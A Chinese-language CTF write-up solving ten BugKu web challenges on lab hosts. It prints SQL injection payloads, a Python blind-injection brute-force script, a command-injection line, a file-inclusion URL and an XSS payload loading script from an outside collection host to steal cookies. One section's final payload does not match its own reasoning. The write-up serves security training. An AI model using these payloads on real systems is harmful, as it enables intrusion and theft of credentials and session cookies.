BugKuCTF-WEB超详细解题思路(31-40)

本文仅用于网络安全技术学习与授权测试交流。本文实验皆在靶场进行,任何未经授权使用文中技术的行为均与作者无关,请务必遵守法律法规,获得许可后方可进行渗透测试。

目录

no select

login2

sql注入

都过滤了

login1

留言板

留言板1(没做出来)

文件包含

cookies

never_give_up


no select

题目信息

进入靶场

根据网上提示,这道题是堆叠注入

1';show databases;

爆表

1';show tables;

看到当前库的表名

查看指定表的所有字段

1'; show columns from flag; #

这里得到两个字段

直接构建查询语句查询flag字段内容

1';select data from flag;

发现竟然失败,有关键字拦截?url、base64、unicode、16进制 全部不行

开始sql语句爆破

1' or 1=1#

得到flag!

login2

题目信息

进入靶场随便输入账号密码并用bp抓包,放到重放器send一下,发现个tip(提示)

看着像base64编码,解一下码,发现是个语句

这段 PHP 代码是一个简单的登录验证流程:

  1. $sql="SELECT username,password FROM admin WHERE username='".$username."'";致命伤:直接把用户输入的$username拼接到 SQL 语句中,没有任何过滤或转义,完全暴露了SQL 注入漏洞

  2. if(!empty($row) && $row['password']===md5($password))验证条件:

    • !empty($row):数据库必须查到对应的用户(结果集不能为空)。

    • $row['password']===md5($password):数据库存储的密码字段,必须严格等于(全等===用户输入密码的 MD5 值。

由于代码里查询的是username字段,后端在验证时又使用了md5($password),我们可以利用“联合查询(UNION SELECT)”在后端伪造一条数据,让后端验证通过。

只需要在登录界面的两个输入框里,分别输入以下内容:

  • Username (用户名) 输入:

    sql

    admin' union select 'admin', 'e10adc3949ba59abbe56e057f20f883e' --
  • Password (密码) 输入:

    123456

为什么这个 Payload 能成功绕过?

  1. 绕过查询:admin' union select ... --前面的admin'会闭合原本 SQL 里的第一个引号;union select后面指定的两个字符串'admin'和 MD5 值,会作为新的一行数据拼接到查询结果里。

  2. 注释符:--会把原本 SQL 语句后面原生的单引号和分号全部注释掉,保证语法合法。

  3. 严格的比较:联合查询伪造的密码字段是e10adc3949ba59abbe56e057f20f883e,而这正是123456的 MD5 哈希值。当后端把传入的密码转为 MD5 后,两个字符串===全等,成功通过校验!

payload:

123456 | cat /flag >1.php ​ 查看 flag文件并输出到1.php里边

找到flag!

sql注入

题目信息

输入用户名111,密码222,提示:username does not exist!

输入用户名admin,密码admin,提示:password error!(说明有admin用户)

构建语句

admin'#

成功闭合 得到=、空格、and、+、,、()等关键字全被过滤

=使用<>代替 空格可以使用or()解决

,可以使用from(1)解决

a'or(ascii(substr(reverse(substr((database())from(1)))from(8)))<>99)#

这里利用ASCII码对数据库名称进行提取,得到第一个为ASCII码99,得到为字母b

以此继续,得到password

为bugkuctf

得到flag!但是这道题我没看懂,看的别人的文章

都过滤了

进入靶场一个登录框

首先随便输入用户名和密码,发现只报错显示用户名错误,因此推出后端先判断用户名,可能使用sql语句:SELECT * FROMtab_name WHERE uname=...

过滤太多了,我直接绝望。

试了之后发现发现'#','-- ',' ','or','and','/*'都被过滤了

尝试判断闭合,发现用户名无论是admin'还是admin",都没有其他报错,推测是单引号闭合

输入用户名为a'-'0,密码123

可推出,确实是单引号闭合

原理:

在 MySQL 数据库中,当字符串参与算术运算或比较时,若字符串的首字符为非数值类型,则该字符串会被 MySQL 隐式转换为数值0。例如:

'a' - 'b' = 0 'a' - 0 = 0 'a' - 1 = -1 '1a' + 0 = 1

利用这一特性,如果后端是直接进行 SQL 字符串拼接(例如:SELECT * FROM tab_name WHERE uname='$uname'),当我们输入用户名为a'-'0时,拼接后的 SQL 语句相当于:

SELECT * FROM tab_name WHERE uname='a' - '0'

由于在 SQL 中减法运算符-的优先级高于比较运算符=,MySQL 会率先计算'a' - '0'

  • 结果为0 - 0 = 0

  • 最终查询条件变成了:在数据表中查找uname = 0的记录

  • 因为数据库中合法用户的uname首字母大多都是字母(非数值),在比较时都会转换成0,因此uname = 0就会匹配到首字母为非数值的用户记录(比如admin)。

由此,我们可以利用这一特性,构造一个无空格、无逗号、无or/and、纯数字运算的布尔盲注 Payload

uname=a'-(ascii(substr((passwd)from(1)))=97)-'b&passwd=123

Payload 逻辑原理解析:

  • 括号内的ascii(substr((passwd)from(1)))=97是我们注入的盲注判断条件。

  • 它的作用是:判断当前数据库账户密码的第一个字符的 ASCII 码是否等于97(即字母'a')。

  • 若判断为假(不是 97):式子会返回0。整体运算变为'a' - 0 - 'b' = 0。因为结果为0,查询不到符合条件的用户,页面会正常返回“密码错误”

  • 若判断为真(是 97):式子会返回1。整体运算变为'a' - 1 - 'b' = -1。因为结果匹配到了首字母为0的用户记录(比如admin),页面会触发“用户名存在”的状态(比如返回username error!

通过对比每次提交后页面反馈的差异特征(「密码错误」与「用户名错误」),就可以利用二分法或逐字枚举,在无任何 SQL 关键字(select,and,or,from)的情况下,轻松把后端的密码完整盲注出来

于是用脚本:

import requests ​ ra = requests.session() # 【注意】如果报错404,请把下面这行改成 http://160.202.254.160:13904/index.php url = 'http://160.202.254.160:13904/login.php' ​ headers = { "User-Agent": "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Mobile Safari/537.36" } ​ # 用于存储破解出来的密码 password = "" ​ print("[*] 开始逐位爆破密码,请稍候...") ​ for j in range(1, 33): # 假定密码最长不超过32位 found = False for i in range(48, 127): # 匹配数字、大小写字母和常见符号 # 构造无空格、无逗号的注入 payload u = f"a'-(ascii(substr((passwd)from({j})))={i})-'b" data = {"uname": u, "passwd": "123"} ​ try: pa = ra.post(url=url, headers=headers, data=data).text ​ # 【核心修正】当页面中没有包含错误提示框时,说明条件成立! if "password error!!@_@" not in pa: password += chr(i) print(f"[+] 第 {j} 位破解成功: {chr(i)} -> 当前密码: {password}") found = True break ​ except Exception as e: print(f"[!] 请求出错: {e}") ​ if not found: print(f"[!] 第 {j} 位在范围内没找到,密码可能提前结束了。") break ​ print(f"\n[+] 最终拿到的密码是: {password}") print("[*] 复制去靶机登录吧!")

md5解码得到密码为bugkuctf

输入账号密码,得到:

发现空格等符号依然被过滤

输入指令cat</flag,得到flag!

login1

题目信息

进入靶场,发现是个登录系统

随便测试admin等账号,提示“用户名或密码错误”,看不出明显注入点。

看到“没有账号?点我”的提示,点击进入注册页面

在注册页面输入用户名admin,系统会提示admin已存在(说明后端确实有这个用户,且做了防重复校验)。

回到注册页面,输入用户名:admin(注意:admin后面加一个空格)。

输入密码:Cj123456(或者其他随便设置的密码)。

点击注册,系统提示注册成功

返回登录页面。

输入用户名:admin(注意:这里不要加空格,就输入正常的admin)。

输入密码:刚才注册时设置的Cj123456

点击登录。此时,页面会直接显示flag!

留言板

题目信息

留言板?第一反应就是XSS 或者跨站脚本攻击

  • 看到此类的题目,应该和存储型xss有关,也就是将恶意代码保存到服务器端

  • 即然在服务器端,那就是会在后台弹出窗口了

  • 所以需要找到后台地址,看看能不能爆破进入,但是题目提示了说不需要登录后台,需要使用xss平台来接收cookies

用dirsearch扫一下

得到后台管理地址:http://160.202.254.160:17470/admin.php

使用工具爆破,发现用户名为admin,密码为011be4d65feac1a8

登录进去,发现留言的语句,在该目录显示,显示当前的cookie------<script>alert(document.cookie)</script>

刷新页面,这就是我们需要的flag,注意记得转码(%7B 和%7D):

flag%7B7e9f5e2236deb6c6e9b3a23fbfb27032%7D

得到flag!

flag{7e9f5e2236deb6c6e9b3a23fbfb27032}

留言板1(没做出来)

题目信息

打开靶场还是那个输入框

坑 1:str_replace过滤script

  • 后端直接暴力把代码里的script替换成空。

  • 解法:双写绕行。写成<scr<script>ipt>,替换掉中间那个后,刚好拼成<script>

坑 2:空格被暴力删除

  • 你如果发了<script src=...>,中间的空格会被删掉导致标签失效。

  • 解法:/\**/代替空格。写成<script/**/src=...>,浏览器会把/**/当成注释忽略,完美实现无空格标签。

坑 3:XSS 平台不支持 http(极其重要!)

  • 截图里提示:“如果 xss 平台是 https 模式,可能收不到 flag”。

  • 解法:进你的 XSS 平台(比如 xssaq.com),在创建项目时一定要选择http协议

后台是通过删除空格删除script字符串来防御的。应该把你 XSS 平台里的核心路径(也就是//d00.cc/f7a这一截),拼装成下面的双写 + 无空格格式:

<scr<sCRiPt>/**/src=//d00.cc/f7a></scr</sCRiPt>ipt>

xss平台可能用不了了?试了几次都不行,先放一放。

文件包含

题目信息

打开靶场发现个这个玩意

点进去看一看,发现一个php文件

上面显示了index.php的字样,网址中,file=show.php。

那么我们可以推测,他这个index.php就是show.php中内容。假设他可以显示包含的文件,那我们直接根目录试试flag。

http://160.202.254.160:10045/index.php?file=/flag

找到flag!

cookies

题目信息

进入靶场发现url上有个编码,看着像base64编码,解一下

发现是个文件名

网页内内容没有换行,放到记事本中,发现是由“rfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibry”不停复制成的。

line没有赋值,看起来,line就是行数的意思。尝试 line=0,发现页面中的内容没变。尝试 line=1,发现页面中的字符内容就没有了。

那么我们可以推测,line是指定显示key.txt文件中多少行数的内容。

此时,我们知道有index.php。是否能用同样的方式来查看index.php中的内容?

于是,首先把index.php进行base64编码,把编码后的值赋值给filename。

然后赋值line为0。

结果为

尝试line不传值,结果也与传值为0时返回结果一样,都是 <?php。看起来像是一段php代码。

于是,依次输入line的值,从0一直输入到19行,就没有显示内容了。

所有的内容拼接成一下代码:

<?php error_reporting(0); $file=base64_decode(isset($_GET['filename'])?$_GET['filename']:""); $line=isset($_GET['line'])?intval($_GET['line']):0; if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ="); $file_list = array( '0' =>'keys.txt', '1' =>'index.php', ); ​ if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){ $file_list[2]='keys.php'; } ​ if(in_array($file, $file_list)){ $fa = file($file); echo $fa[$line]; }

代码中显示,当cookie有margin属性,且值为margin时,并且有file在file_list中时,可以输出file的内容。

我们想要的肯定是keys.php内容,于是filename的值为keys.php的base64编码。并且按要求设置cookie。

得到flag!

此题借鉴csdn博主的文章,原文链接:https://blog.csdn.net/cai_huaer/article/details/153639826

never_give_up

题目信息

进入靶场

F12查看源代码,发现一行注释包含一个文件名称1p.html

去访问这个文件,发现直接跳转到BUGKU首页,感到奇怪那就下载 看看这个文件内容

大佬的代码:

import requests url='http://160.202.254.160:12777//1p.html' head={'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0'} html=requests.get(url,headers=head).text print(html)

发现内容是这样的

<HTML> ​ <HEAD> <SCRIPT LANGUAGE="Javascript"> <!-- ​ ​ ​ var Words ="%3Cscript%3Ewindow.location.href%3D'http%3A%2F%2Fwww.bugku.com'%3B%3C%2Fscript%3E%20%0A%3C!--JTIyJTNCaWYoISUyNF9HRVQlNUInaWQnJTVEKSUwQSU3QiUwQSUwOWhlYWRlcignTG9jYXRpb24lM0ElMjBoZWxsby5waHAlM0ZpZCUzRDEnKSUzQiUwQSUwOWV4aXQoKSUzQiUwQSU3RCUwQSUyNGlkJTNEJTI0X0dFVCU1QidpZCclNUQlM0IlMEElMjRhJTNEJTI0X0dFVCU1QidhJyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJ2InJTVEJTNCJTBBaWYoc3RyaXBvcyglMjRhJTJDJy4nKSklMEElN0IlMEElMDllY2hvJTIwJ25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJyUzQiUwQSUwOXJldHVybiUyMCUzQiUwQSU3RCUwQSUyNGRhdGElMjAlM0QlMjAlNDBmaWxlX2dldF9jb250ZW50cyglMjRhJTJDJ3InKSUzQiUwQWlmKCUyNGRhdGElM0QlM0QlMjJidWdrdSUyMGlzJTIwYSUyMG5pY2UlMjBwbGF0ZWZvcm0hJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuKCUyNGIpJTNFNSUyMGFuZCUyMGVyZWdpKCUyMjExMSUyMi5zdWJzdHIoJTI0YiUyQzAlMkMxKSUyQyUyMjExMTQlMjIpJTIwYW5kJTIwc3Vic3RyKCUyNGIlMkMwJTJDMSkhJTNENCklMEElN0IlMEElMDklMjRmbGFnJTIwJTNEJTIwJTIyZmxhZyU3QioqKioqKioqKioqJTdEJTIyJTBBJTdEJTBBZWxzZSUwQSU3QiUwQSUwOXByaW50JTIwJTIybmV2ZXIlMjBuZXZlciUyMG5ldmVyJTIwZ2l2ZSUyMHVwJTIwISEhJTIyJTNCJTBBJTdEJTBBJTBBJTBBJTNGJTNF--%3E" function OutWord() { var NewWords; NewWords = unescape(Words); document.write(NewWords); } OutWord(); // --> </SCRIPT> </HEAD> <BODY> </BODY> </HTML>

可以看到script中有一段注释,内容如下:

var Words ="%3Cscript%3Ewindow.location.href%3D'http%3A%2F%2Fwww.bugku.com'%3B%3C%2Fscript%3E%20%0A %3C!--JTIyJTNCaWYoISUyNF9HRVQlNUInaWQnJTVEKSUwQSU3QiUwQSUwOWhlYWRlcignTG9jYXRpb24lM0ElMjBoZWxsby5waHAlM0ZpZCUzRDEnKSUzQiUwQSUwOWV4aXQoKSUzQiUwQSU3RCUwQSUyNGlkJTNEJTI0X0dFVCU1QidpZCclNUQlM0IlMEElMjRhJTNEJTI0X0dFVCU1QidhJyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJ2InJTVEJTNCJTBBaWYoc3RyaXBvcyglMjRhJTJDJy4nKSklMEElN0IlMEElMDllY2hvJTIwJ25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJyUzQiUwQSUwOXJldHVybiUyMCUzQiUwQSU3RCUwQSUyNGRhdGElMjAlM0QlMjAlNDBmaWxlX2dldF9jb250ZW50cyglMjRhJTJDJ3InKSUzQiUwQWlmKCUyNGRhdGElM0QlM0QlMjJidWdrdSUyMGlzJTIwYSUyMG5pY2UlMjBwbGF0ZWZvcm0hJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuKCUyNGIpJTNFNSUyMGFuZCUyMGVyZWdpKCUyMjExMSUyMi5zdWJzdHIoJTI0YiUyQzAlMkMxKSUyQyUyMjExMTQlMjIpJTIwYW5kJTIwc3Vic3RyKCUyNGIlMkMwJTJDMSkhJTNENCklMEElN0IlMEElMDklMjRmbGFnJTIwJTNEJTIwJTIyZmxhZyU3QioqKioqKioqKioqJTdEJTIyJTBBJTdEJTBBZWxzZSUwQSU3QiUwQSUwOXByaW50JTIwJTIybmV2ZXIlMjBuZXZlciUyMG5ldmVyJTIwZ2l2ZSUyMHVwJTIwISEhJTIyJTNCJTBBJTdEJTBBJTBBJTBBJTNGJTNF--%3E" function OutWord() { var NewWords; NewWords = unescape(Words); document.write(NewWords); } OutWord();

这里发现 2个 %3C!-- --%3E:明显是URL编码,第一个解码得到

<script>window.location.href='http://www.bugku.com';</script>

这是一段js代码,作用就是嵌入在HTML文档中,用于重定向浏览器 当前页面到指定的URL——http://www.bugku.com。而 window.location.href 属性是JavaScript的全局对象window的一个属性,它表示当前窗口(浏览器标签页)加载的网页的完整URL。当你给window.location.href赋值时,浏览器会立即导航到指定的新URL。

是不是很奇怪,注释了为什么还可以运行js代码,请看后文知识点

第二个就是中间的内容,使用base64解码后得到:

%22%3Bif(!%24_GET%5B'id'%5D)%0A%7B%0A%09header('Location%3A%20hello.php%3Fid%3D1')%3B%0A%09exit()%3B%0A%7D%0A%24id%3D%24_GET%5B'id'%5D%3B%0A%24a%3D%24_GET%5B'a'%5D%3B%0A%24b%3D%24_GET%5B'b'%5D%3B%0Aif(stripos(%24a%2C'.'))%0A%7B%0A%09echo%20'no%20no%20no%20no%20no%20no%20no'%3B%0A%09return%20%3B%0A%7D%0A%24data%20%3D%20%40file_get_contents(%24a%2C'r')%3B%0Aif(%24data%3D%3D%22bugku%20is%20a%20nice%20plateform!%22%20and%20%24id%3D%3D0%20and%20strlen(%24b)%3E5%20and%20eregi(%22111%22.substr(%24b%2C0%2C1)%2C%221114%22)%20and%20substr(%24b%2C0%2C1)!%3D4)%0A%7B%0A%09%24flag%20%3D%20%22flag%7B***********%7D%22%0A%7D%0Aelse%0A%7B%0A%09print%20%22never%20never%20never%20give%20up%20!!!%22%3B%0A%7D%0A%0A%0A%3F%3E
  • 再来一次URL解码

    ";if(!$_GET['id']) { header('Location: hello.php?id=1'); exit(); } $id=$_GET['id']; $a=$_GET['a']; $b=$_GET['b']; if(stripos($a,'.')) { echo 'no no no no no no no'; return ; } $data = @file_get_contents($a,'r'); if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4) { $flag = "flag{***********}" } else { print "never never never give up !!!"; } ​ ​ ?>

    代码分析:

    URL需要有三个参数:id、a、b 对参数a进行限制:使用stripos函数对a进行处理,意思就是a中不能含有. $data,使用file_get_contents() 函数对a参数的内容进行读操作,也就是读取a的内容。至于这个@,@ 符号在PHP中用于错误抑制操作,它会阻止该行代码产生的任何错误信息显示出来。如果 $a 指定的文件或URL不存在,或者由于其他原因无法读取,通常PHP会抛出错误信息,但有了 @ 符号,即使发生错误也不会显示错误信息。【忽略报错】 if语句中 $data“bugku is a nice plateform!” ,表示data中要有bugku is a nice plateform!字符串,至于这个参数放哪里,emm,php伪协议 php:// (总之,看到file_get_contents就要想到使用php://input),也就是请求中使用 =php://input.,然后就可以在post 中输入data的字符串。结合 $data = @file_get_contents($a,'r');,说明参数a就是赋值成伪协议php://input,具体见后文新知识 $id0,和0弱比较为真,先尝试传参id=0,发现页面会自动跳成id=1,所以,既然0不能用,那和0弱比较为真的就是字符串了,id=输入字母。 strlen($b)>5:b的长度要大于5 eregi(“111”.substr($b,0,1),“1114”):eregi已经被弃用(有漏洞,这里利用的就是这个漏洞,称为0x00漏洞,或者%00漏洞),小数点是作为拼接使用,而这里语句表示111和$b 中提取的第一个字符拼接,形成一个新的字符串,然后和1114匹配,匹配的话,则返回 true,否则返回 false。 使用%00,那拼接就是1114,不论参数b输入什么都被认为是结束了,所以b=%00你想输入的数字,数字长度大于5就行,如b=%0011111. substr($b,0,1)!=4,进一步限制,提取拼接的不能是4. 结合起来解释就是三个参数,id不能为0,a不能包含小数点,b要使用截断来绕过substr($b,0,1)!=4,最后要匹配成1114。

借鉴csdn博主默默提升实验室的文章原文链接:https://blog.csdn.net/qq_36292543/article/details/136676985

得到flag